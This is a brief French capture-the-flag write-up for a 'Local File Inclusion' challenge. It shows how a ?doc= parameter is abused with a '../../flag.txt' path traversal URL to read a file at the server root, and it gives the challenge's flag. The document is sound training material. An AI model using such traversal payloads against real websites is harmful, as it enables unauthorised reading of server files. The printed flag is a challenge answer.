Local File Inclusion (LFI) (Medium)

Consignes

Le flag se trouve à la racine !

Réalisation

On se connecte au site et observons 3 liens :

  • Welcome (http://ctfd-link.com/?doc=./languages/welcome.txt)

  • Help (http://ctfd-link.com/?doc=./languages/help.txt)

  • About (http://ctfd-link.com/?doc=./languages/about.txt)

On observe donc que pour accéder à ces fichiers, le site passe en premier lieu par ./languages . On cherche donc le FLAG à partir de ici. Quand on recherche le fichier flag.txt via le lien http://ctfd-link.com/?doc=./languages/flag.txt, le serveur nous retourne l'erreur Error reading file

On cherche donc à essayer de trouver le fichier au travers la machine en forçant la présence à la racine avec le lien suivant : http://ctfd-link.com/?doc=./languages/../../flag.txt

Le serveur nous retourne donc le FLAG :

2600{_dnSlxgNeDeq_dvko2-69Q}

Last updated